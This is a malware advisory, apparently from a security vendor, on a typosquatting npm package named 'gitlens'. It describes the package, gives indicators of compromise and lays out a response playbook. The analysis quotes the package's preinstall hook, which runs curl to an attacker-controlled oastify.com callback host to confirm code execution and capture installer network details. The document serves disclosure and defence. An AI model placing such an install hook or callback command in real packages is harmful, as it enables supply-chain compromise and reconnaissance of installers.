# gitlens (npm) malicious package — MAL-2026-6973 | O3 Security

Malicious package

# gitlensnpm

Advisory published Jul 8, 2026·Updated Jul 9, 2026

gitlens is a confirmed malicious npm package (MAL-2026-6973) that typosquats a legitimate package to trick installs (malicious versions 9.4.0, 9.4.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in gitlens (npm)

MAL-2026-6973

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall gitlens

## What this malware does

package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious.

It is considered malicious because:

-   The package communicates with a domain associated with malicious activity.
    
-   The package executes one or more commands associated with malicious behavior.
    

## Malicious versions

2 flagged

9.4.09.4.1

## Indicators of compromise (SHA-256)

33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395

6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120

3632e760faee6d1af9b80a19b7224a7f269f40186f2ab81124a887dbe875f6e1

c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7

## Detection & response playbook

Typosquat

1.  ### Find it
    
    Search your lockfiles and build artifacts for gitlens (2 malicious versions).
    
2.  ### If you installed it — respond
    
    gitlens is a typosquat — you almost certainly intended a legitimately-named package. Remove gitlens, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
    
3.  ### Did it already run?
    
    If gitlens was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
    

## Frequently asked questions

No. gitlens on npm has been identified as a malicious package (versions 9.4.0, 9.4.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

## Campaign

GHSA-mgwg-48mg-h7pgIN-MAL-2026-009242IN-MAL-2026-009243

## References

-   [github.com](https://github.com/advisories/GHSA-mgwg-48mg-h7pg)
-   [npmjs.com](https://www.npmjs.com/package/gitlens/v/9.4.0)
-   [npmjs.com](https://www.npmjs.com/package/gitlens/v/9.4.1)

## Credits

-   Amazon Inspector · finder
-   OpenSSF: Package Analysis · finder

## Detect & block this

O3 blocks gitlens\-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

[Malware detection](/malware-detection) [Runtime egress monitoring](/egress-monitor)

## Explore

[All malware advisories](/malware) [How O3 detects malware](/malware-database) [Vulnerability database](/vulnerability)